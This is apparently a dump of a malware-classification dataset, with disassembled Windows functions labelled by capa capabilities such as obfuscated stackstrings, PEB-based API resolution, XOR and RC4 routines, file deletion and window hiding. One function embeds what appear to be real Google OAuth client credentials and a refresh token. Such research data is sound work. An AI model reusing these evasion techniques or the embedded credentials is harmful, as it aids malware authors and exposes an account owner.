joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004070
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x40], 0x696c6326
push 0x400
push esi
mov dword [ebp - 0x38], 0x72636573
mov dword [esi + 0x30c], 0
mov dword [ebp - 0x34], 0x253d7465
mov dword [ebp - 0x2c], 0x73657266
mov dword [ebp - 0x48], 0x695f746e
mov dword [ebp - 0x28], 0x6f745f68
mov dword [ebp - 0x30], 0x65722673
mov dword [ebp - 0x3c], 0x5f746e65
mov dword [ebp - 0xc], 0x6f745f68
mov dword [ebp - 0x24], 0x3d6e656b
mov dword [ebp - 0x18], 0x7079745f
mov dword [ebp - 8], 0x6e656b
mov dword [ebp - 0x4c], 0x65696c63
mov dword [ebp - 0x10], 0x73657266
mov dword [ebp - 0x44], 0x73253d64
mov dword [ebp - 0x20], 0x67267325
mov dword [ebp - 0x1c], 0x746e6172
mov dword [ebp - 0x14], 0x65723d65
call fcn.10004ca7
push str.1__0g28Gpw7tapZDCgYIARAAGBASNwF_L9IrtniQ_IGV7QvDDer9cUJTyzr_b4MznUOlAKmAeuhwhDas74hTNVP4cmlBMrSQrYapwxg
push str.GOCSPX_TlbYeVFNpnPsKBz6vJkOpoPvnsyV
push str.251607710413_dd9ijdfu9lh13mqmg73hgavuq2447fed.apps.googleusercontent.com
lea ecx, [ebp - 0x4c]
mov dword [esi + 0x2fc], eax
push ecx
push eax
mov eax, dword [esi + 0xac]
call eax
mov eax, dword [esi + 0x5c]
add esp, 0x1c
push dword [esi + 0x2fc]
call eax
mov dword [esi + 0x300], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [esi + 0x298]
mov dword [ebp - 0x18], 0x670041
push eax
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x14], 0x6e0065
mov dword [ebp - 0x10], 0x2f0074
mov dword [ebp - 8], 0x30
mov dword [ebp - 0xc], 0x2e0031
call eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x540053
push eax
lea eax, [esi + 0x2ac]
mov dword [ebp - 0x10], 0x4f0050
push eax
mov eax, dword [esi + 0x44]
mov dword [ebp - 8], 0
call eax
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0x54
push eax
lea eax, [esi + 0x2b6]
mov dword [ebp - 0xc], 0x450047
push eax
mov eax, dword [esi + 0x44]
call eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0x45004c
push eax
lea eax, [esi + 0x2be]
mov dword [ebp - 0x14], 0x450044
push eax
mov eax, dword [esi + 0x44]
mov dword [ebp - 0xc], 0x450054
mov dword [ebp - 8], 0
call eax
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0x54
push eax
mov dword [ebp - 0xc], 0x550050
lea eax, [esi + 0x2cc]
push eax
mov eax, dword [esi + 0x44]
call eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], 0x2e0077
push eax
lea eax, [esi + 0x2d4]
mov dword [ebp - 0x1c], 0x65006c
push eax
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x14], 0x730069
mov dword [ebp - 0x10], 0x63002e
mov dword [ebp - 0x18], 0x700061
mov dword [ebp - 0x20], 0x67006f
mov dword [ebp - 0x2c], 0x770077
mov dword [ebp - 0x24], 0x6f0067
mov dword [ebp - 0xc], 0x6d006f
mov dword [ebp - 8], 0
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10006e80
mov esp, ebp
pop ebp
ret
Function at 0x10004310
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword fs:[0x30]
push ebx
push esi
mov dword [ebp - 0x10], ecx
xor ebx, ebx
mov eax, dword [eax + 0xc]
push edi
mov esi, dword [eax + 0x14]
mov dword [ebp - 8], esi
mov ecx, dword [esi + 4]
mov dword [ebp - 0xc], ecx
cmp esi, ecx
je 0x100043a4
cmp word [esi + 0x24], 0x30
ja 0x10004399
mov edi, dword [esi + 0x28]
xor eax, eax
movzx ebx, word [edi]
test bx, bx
je 0x10004386
mov esi, eax
nop dword [eax]
lea eax, [ebx + 0x20]
lea edx, [ebx - 0x41]
movzx ecx, al
movzx eax, bl
lea edi, [edi + 2]
cmp dl, 0x19
cmova ecx, eax
movzx eax, word [edi]
imul esi, esi, 0xc85e31
mov bl, al
movsx ecx, cl
add esi, ecx
test ax, ax
jne 0x10004350
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 4], esi
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x10]
je 0x10004449
cmp dword [esi + 0x10], 0
je 0x10004437
mov esi, dword [esi]
mov dword [ebp - 8], esi
cmp esi, ecx
jne 0x10004337
xor ebx, ebx
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
test ebx, ebx
je 0x10004440
mov eax, dword [ebx + 0x3c]
xor edi, edi
mov ecx, dword [eax + ebx + 0x78]
mov edx, dword [eax + ebx + 0x50]
add ecx, ebx
mov eax, dword [eax + ebx + 0x7c]
add edx, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp + 0xc], edx
mov esi, dword [ecx + 0x20]
mov eax, dword [ecx + 0x14]
add esi, ebx
mov dword [ebp - 0x10], esi
mov esi, dword [ecx + 0x24]
add esi, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], esi
mov esi, dword [ecx + 0x1c]
add esi, ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], esi
xor esi, esi
test eax, eax
je 0x10004463
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + esi*4]
add eax, ebx
lea ecx, [eax + 0xdc]
cmp edx, ecx
jbe 0x1000442f
mov cl, byte [eax]
xor edx, edx
test cl, cl
je 0x1000442c
nop dword [eax]
imul edx, edx, 0xc85e31
lea eax, [eax + 1]
movsx ecx, cl
add edx, ecx
mov cl, byte [eax]
test cl, cl
jne 0x10004410
cmp edx, 0x354aa84a
je 0x10004451
mov edx, dword [ebp + 0xc]
inc esi
cmp esi, dword [ebp - 0xc]
jb 0x100043f3
jmp 0x10004460
mov eax, dword [ebp + 0xc]
mov dword [eax], 0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esi + 0x10]
jmp 0x100043a4
mov eax, dword [ebp - 4]
mov edi, dword [ebp - 0x14]
movzx eax, word [eax + esi*2]
mov edi, dword [edi + eax*4]
add edi, ebx
mov ecx, dword [ebp - 8]
cmp edi, ecx
jb 0x10004482
mov eax, dword [ebp - 0x18]
add eax, ecx
cmp edi, eax
jae 0x10004482
mov eax, dword [ebp + 0x14]
pop edi
pop esi
pop ebx
mov dword [eax], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x14]
mov dword [eax], edi
test edi, edi
je 0x10004440
push edi
mov edx, 0x94cb3b66
mov ecx, ebx
call fcn.10004280
mov ecx, dword [ebp + 0x10]
add esp, 4
mov edx, eax
xor eax, eax
test edx, edx
pop edi
pop esi
mov dword [ecx], edx
setne al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004b80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push edi
mov dword [ebp - 4], edx
mov edi, ecx
xor eax, eax
nop
lea ebx, [eax + 0x41]
mov byte [ebp + eax - 0x20], bl
inc eax
cmp eax, 0x1a
jl 0x10004b90
mov eax, dword [ebp + 8]
xor ebx, ebx
mov byte [edx + eax], 0
test edx, edx
jle 0x10004c10
lea eax, [edi + 0xd0]
push esi
push eax
mov eax, dword [edi + 0x50]
call eax
imul esi, dword [edi + 0xe8], 0x343fd
lea eax, [edi + 0xd0]
push eax
mov eax, dword [edi + 0x54]
add esi, 0x269ec5
mov dword [edi + 0xe8], esi
call eax
lea eax, [esi + ebx]
cdq
mov ecx, eax
mov eax, 0x4ec4ec4f
xor ecx, edx
sub ecx, edx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov al, byte [ebp + ecx - 0x20]
mov ecx, dword [ebp + 8]
mov byte [ebx + ecx], al
inc ebx
lea eax, [edi + 0xd0]
cmp ebx, dword [ebp - 4]
jl 0x10004bb1
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000d091
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000d12e
push ebx
push esi
call fcn.1000d05a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000cfa3
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000d0db
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000d12d
push edi
push eax
call fcn.1000ba58
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000d0fb
call fcn.1000baa6
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000d12c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000cfa3
add esp, 0x20
test eax, eax
jne 0x1000d11a
push edi
call fcn.1000baa6
jmp 0x1000d122
push ebx
call fcn.1000baa6
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000d399
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100149b8
push 0x100149b0
push str.FlsAlloc
push 0x1e
call fcn.1000d2b7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d3cd
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001312c]
call esi
jmp 0x1000d3d3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000d417
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100149c8
push 0x100149c0
push str.FlsGetValue
push 0x20
call fcn.1000d2b7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d44e
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001312c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x10012970
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001299d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001299d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1013d2d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.010128c2
cmp dword [0x858d537d], ebp
aam 0xf8
invalid

Function at 0x101ceb6
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push 0x1002880
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x101cf0e
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x10013da
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x101cf01
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x101cf10
xor eax, eax
pop esi
leave
ret 4

Function at 0x101e579
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ax, word [ebp + 0xc]
mov cx, word [ebp + 0x10]
cmp ax, cx
jne 0x101e593
mov eax, dword [ebp + 8]
jmp 0x101e67d
cmp ax, 8
push esi
push edi
je 0x101e5a1
cmp ax, 0x10
jne 0x101e5ad
cmp cx, 8
je 0x101e5b4
cmp cx, 0x10
je 0x101e5b4
xor edi, edi
jmp 0x101e65b
shr ax, 3
shr cx, 3
push ebx
xor edx, edx
mov edi, eax
mov ebx, ecx
mov ecx, dword [ebp + 0x14]
mov eax, dword [ecx]
movzx esi, di
div esi
mov esi, eax
movzx eax, bx
imul eax, esi
push eax
push 0x2002
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, eax
test ecx, ecx
jne 0x101e60f
cmp dword [0x1027be4], eax
je 0x101e60b
push 0x40
push 0x10028d0
push 0x10028e8
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
xor edi, edi
jmp 0x101e65a
cmp di, bx
jbe 0x101e639
test esi, esi
mov ebx, dword [ebp + 8]
mov edi, ecx
je 0x101e658
mov dword [ebp + 0xc], esi
movsx eax, word [ebx]
cdq
mov esi, 0x100
idiv esi
add al, 0x80
mov byte [edi], al
inc edi
inc ebx
inc ebx
dec dword [ebp + 0xc]
jne 0x101e620
jmp 0x101e658
test esi, esi
mov edx, dword [ebp + 8]
mov eax, ecx
je 0x101e658
movsx di, byte [edx]
sub edi, 0x80
shl edi, 8
mov word [eax], di
inc eax
inc eax
inc edx
dec esi
jne 0x101e642
mov edi, ecx
pop ebx
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalHandle]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp + 8]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebp
ret 0x10
Function at 0x10002ef0
Capabilities:
Check http status code

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
mov bl, byte [edi + 0x1c]
cmp bl, 1
je 0x10002f0a
cmp bl, 3
je 0x10002f0a
pop edi
pop esi
mov al, 0x10
pop ebx
ret
mov eax, dword [esp + 0x14]
cmp byte [eax + 0x1c], 1
je 0x10002f1a
pop edi
pop esi
mov al, 0x10
pop ebx
ret
mov cl, byte [edi + 0x1d]
cmp cl, 8
mov byte [esp + 0x10], cl
je 0x10002f31
cmp cl, 0x10
je 0x10002f31
pop edi
pop esi
mov al, 0x11
pop ebx
ret
cmp byte [eax + 0x1d], 8
je 0x10002f3d
pop edi
pop esi
mov al, 0x11
pop ebx
ret
cmp bl, 3
jne 0x10002f4e
cmp byte [edi + 0x1e], 1
je 0x10002f4e
pop edi
pop esi
mov al, 0x12
pop ebx
ret
mov edx, dword [edi + 8]
cmp edx, 0x640
ja 0x10002f89
je 0x10002fa5
cmp edx, 0x320
ja 0x10002f7b
je 0x10002fa5
cmp edx, 0x190
je 0x10002fa5
cmp edx, 0x258
je 0x10002fa5
pop edi
pop esi
mov al, 0x13
pop ebx
ret
cmp edx, 0x4b0
je 0x10002fa5
pop edi
pop esi
mov al, 0x13
pop ebx
ret
cmp edx, 0x960
je 0x10002fa5
cmp edx, 0xc80
je 0x10002fa5
cmp edx, 0x12c0
jne 0x1000306e
mov esi, dword [edi + 0xc]
cmp esi, 0x640
ja 0x10002fe0
je 0x10002ff8
cmp esi, 0x320
ja 0x10002fd2
je 0x10002ff8
cmp esi, 0x190
je 0x10002ff8
cmp esi, 0x258
je 0x10002ff8
pop edi
pop esi
mov al, 0x13
pop ebx
ret
cmp esi, 0x4b0
je 0x10002ff8
pop edi
pop esi
mov al, 0x13
pop ebx
ret
cmp esi, 0x960
je 0x10002ff8
cmp esi, 0xc80
je 0x10002ff8
cmp esi, 0x12c0
jne 0x1000306e
mov ecx, dword [eax + 8]
cmp ecx, 0x640
ja 0x10003033
je 0x1000304b
cmp ecx, 0x320
ja 0x10003025
je 0x1000304b
cmp ecx, 0x190
je 0x1000304b
cmp ecx, 0x258
je 0x1000304b
pop edi
pop esi
mov al, 0x13
pop ebx
ret
cmp ecx, 0x4b0
je 0x1000304b
pop edi
pop esi
mov al, 0x13
pop ebx
ret
cmp ecx, 0x960
je 0x1000304b
cmp ecx, 0xc80
je 0x1000304b
cmp ecx, 0x12c0
jne 0x1000306e
mov eax, dword [eax + 0xc]
cmp eax, 0x640
ja 0x1000307b
je 0x10003090
cmp eax, 0x320
ja 0x10003074
je 0x10003090
cmp eax, 0x190
je 0x10003090
cmp eax, 0x258
je 0x10003090
pop edi
pop esi
mov al, 0x13
pop ebx
ret
cmp eax, 0x4b0
jmp 0x1000306c
cmp eax, 0x960
je 0x10003090
cmp eax, 0xc80
je 0x10003090
cmp eax, 0x12c0
jne 0x1000306e
cmp edx, esi
jne 0x1000306e
cmp ecx, eax
jne 0x1000306e
cmp edx, ecx
jne 0x1000306e
cmp byte [edi + 0x1f], 1
jbe 0x100030a8
pop edi
pop esi
mov al, 0x14
pop ebx
ret
mov eax, dword [esp + 0x10]
mov ecx, dword [edi + 4]
and eax, 0xff
and ebx, 0xff
imul ecx, eax
imul ecx, ebx
imul ecx, dword [edi]
shr ecx, 3
mov edx, 0xa4cb8000
pop edi
cmp edx, ecx
pop esi
sbb al, al
pop ebx
and eax, 0x20
ret
Function at 0x4069f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
xor ecx, ecx
test eax, eax
setne cl
mov al, cl
pop ebp
ret 0x1c

Function at 0x4072a0
Capabilities:
Create thread

Disassembly:
mov eax, 0x418932
call fcn.00417420
sub esp, 0xd0
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x74]
lea eax, [ecx + eax*8]
push edi
push dword [eax + 4]
lea ecx, [ebp - 0xdc]
push ecx
mov ecx, dword [eax]
call fcn.00406b00
and dword [ebp - 4], 0
add esi, 0x6c
lea edi, [ebp - 0xdc]
mov dword [ebp - 0x10], esi
call fcn.004079d8
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
mov ebx, dword [ecx + eax*4 - 4]
call fcn.00406c57
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0xb4]
mov edi, esi
mov ecx, dword [edi + 8]
mov edx, dword [edi + 0xc]
mov ecx, dword [edx + ecx*4 - 4]
mov dword [ecx + 4], eax
mov eax, dword [edi + 8]
mov ecx, dword [edi + 0xc]
mov eax, dword [ecx + eax*4 - 4]
mov eax, dword [eax + 8]
push dword [eax]
lea esi, [ebx + 0x9c]
call fcn.004078a7
mov ecx, dword [edi + 0xc]
mov eax, dword [edi + 8]
mov eax, dword [ecx + eax*4 - 4]
lea ecx, [ebp - 0x14]
push ecx
xor esi, esi
push esi
push eax
push 0x406ff6
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
jne 0x40735e
push 0x41bd98
lea eax, [ebp + 8]
push eax
mov dword [ebp + 8], 0x425d0
call fcn.0041743f
push eax
lea esi, [ebx + 0x80]
call fcn.004078a7
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xdc]
push eax
call fcn.00406cc5
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x409c39
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, eax
mov eax, dword [esp + 8]
mov eax, dword [eax]
push edi
jmp 0x409c5d
test esi, esi
jbe 0x409c62
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x421070]
dec esi
inc ecx
test cl, 3
jne 0x409c45
cmp esi, 4
jb 0x409cab
mov edx, esi
shr edx, 2
xor eax, dword [ecx]
sub esi, 4
movzx edi, al
shr eax, 8
xor eax, dword [edi*4 + 0x421070]
add ecx, 4
movzx edi, al
shr eax, 8
xor eax, dword [edi*4 + 0x421070]
movzx edi, al
shr eax, 8
xor eax, dword [edi*4 + 0x421070]
movzx edi, al
shr eax, 8
xor eax, dword [edi*4 + 0x421070]
dec edx
jne 0x409c6c
xor edx, edx
test esi, esi
jbe 0x409ccb
push ebx
movzx edi, byte [edx + ecx]
movzx ebx, al
xor edi, ebx
shr eax, 8
xor eax, dword [edi*4 + 0x421070]
inc edx
cmp edx, esi
jb 0x409cb2
pop ebx
mov ecx, dword [esp + 0xc]
pop edi
mov dword [ecx], eax
pop esi
ret 4

Function at 0x40a945
Capabilities:
Set file attributes

Disassembly:
push dword [esp + 8]
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
neg eax
sbb eax, eax
neg eax
ret 8
Function at 0x40ad80
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x40ad94
xor al, al
jmp 0x40ada4
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
neg eax
ret 4

Function at 0x40aead
Capabilities:
Delete directory
Set file attributes

Disassembly:
mov eax, 0x418911
call fcn.00417420
sub esp, 0x6c
push ebx
push esi
push edi
lea eax, [ebp - 0x48]
call fcn.00409f24
mov esi, dword [ebp + 8]
and dword [ebp - 4], 0
push 0x5c
lea eax, [ebp - 0x18]
push eax
mov ecx, esi
call fcn.0040b78f
push 0x2a
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.0040b78f
lea ecx, [ebp - 0x38]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call fcn.0040a9a7
mov byte [ebp - 4], 4
push dword [ebp - 0x24]
call fcn.00411e77
pop ecx
jmp 0x40af26
lea eax, [ebp - 0x78]
push eax
sub esp, 0xc
lea edi, [ebp - 0x18]
mov eax, esp
mov dword [ebp + 8], esp
call fcn.00409f3d
call fcn.0040ae32
test al, al
je 0x40af8d
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.0040bc30
test al, al
jne 0x40af09
lea eax, [ebp - 0x38]
push eax
mov byte [ebp - 4], 1
call fcn.0040af9e
mov eax, dword [esi]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x40af9a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne bl
mov byte [ebp - 4], 0
push dword [ebp - 0x18]
call fcn.00411e77
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x48]
call fcn.00411e77
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov al, bl
mov dword fs:[0], ecx
pop ebx
leave
ret 4
lea eax, [ebp - 0x38]
push eax
mov byte [ebp - 4], 1
call fcn.0040af9e
xor bl, bl
jmp 0x40af60

Function at 0x40b4b4
Capabilities:
Delete file

Disassembly:
mov eax, 0x4188e5
call fcn.00417420
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
lea eax, [ebp - 0x18]
mov byte [ebp - 0x1c], bl
call fcn.00409f24
jmp 0x40b529
push dword [edi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x40b564
push dword [edi]
call fcn.0040bbc9
test al, al
jne 0x40b509
push dword [edi]
call fcn.0040ab2a
test al, al
jne 0x40b57c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40b53d
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x1c]
call fcn.0040b495
push dword [ebp - 0x18]
call fcn.00411e77
pop ecx
lea eax, [ebp - 0x18]
mov byte [ebp - 0x1c], bl
call fcn.00409f24
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 4], ebx
call fcn.0040b415
test al, al
jne 0x40b4d2
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x1c]
call fcn.0040b495
push dword [ebp - 0x18]
call fcn.00411e77
xor al, al
pop ecx
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x1c]
call fcn.0040b495
push dword [ebp - 0x18]
call fcn.00411e77
mov al, bl
jmp 0x40b553
mov bl, 1
jmp 0x40b564
Function at 0x40b911
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x418442
call fcn.00417420
sub esp, 0x18
mov eax, dword [ebx]
mov dword [esi], eax
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 8]
mov dword [esi + 8], eax
mov eax, dword [ebx + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [ebx + 0x10]
push edi
mov dword [esi + 0x10], eax
mov eax, dword [ebx + 0x14]
push 1
mov dword [esi + 0x14], eax
mov eax, dword [ebx + 0x18]
push 0
push 0
mov dword [esi + 0x18], eax
push dword [ebx + 0x1c]
call fcn.00416e20
mov ecx, dword [ebx + 0x20]
xor edi, edi
add eax, ecx
mov dword [esi + 0x20], eax
lea eax, [ebx + 0x2c]
adc edx, edi
push eax
lea eax, [ebp - 0x18]
mov dword [esi + 0x24], edx
call fcn.0040b59c
and dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
neg eax
sbb eax, eax
inc eax
push eax
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040b811
mov edi, eax
lea eax, [esi + 0x30]
mov byte [ebp - 4], 1
call fcn.00409902
mov byte [ebp - 4], 0
push dword [ebp - 0x24]
call fcn.00411e77
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x18]
call fcn.00411e77
mov eax, dword [ebx + 0x24]
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x28], eax
pop edi
mov dword fs:[0], ecx
leave
ret

Function at 0x40bd90
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push edi
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40bdb9
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40bdb9
xor al, al
jmp 0x40bdd4
push 1
push 0
push 0
push dword [ebp + 8]
call fcn.00416e20
xor ecx, ecx
add eax, edi
adc edx, ecx
mov dword [esi], eax
mov dword [esi + 4], edx
mov al, 1
pop edi
pop ebp
ret 4

Function at 0x40ebf5
Capabilities:
Hash data using sha256

Disassembly:
and dword [eax + 0x20], 0
and dword [eax + 0x24], 0
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
ret
Function at 0x40f942
Capabilities:
Encode data using xor

Disassembly:
mov edx, esi
mov eax, edi
mov ecx, ebx
call fcn.0040ef3d
xor eax, eax
mov cl, byte [esi + eax + 0x108]
xor byte [eax + edi], cl
inc eax
cmp eax, 0x10
jl 0x40f94f
xor eax, eax
mov cl, byte [eax + ebx]
mov byte [esi + eax + 0x108], cl
inc eax
cmp eax, 0x10
jl 0x40f961
ret

Function at 0x410932
Capabilities:
Hide graphical window

Disassembly:
mov eax, 0x41848a
call fcn.00417420
sub esp, 0xc
mov al, byte [ebx + 0x104]
push esi
push 0
lea esi, [ebx + 0x68]
mov byte [ebx + 0x70], al
call fcn.00410852
push 0x45
lea eax, [ebp - 0x18]
push eax
call fcn.0040c20b
and dword [ebp - 4], 0
mov eax, dword [eax]
lea esi, [ebx + 0x6c]
mov ecx, eax
call fcn.0040c37a
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x18]
call fcn.00411e77
pop ecx
push 1
push dword [esi]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop esi
mov dword fs:[0], ecx
leave
ret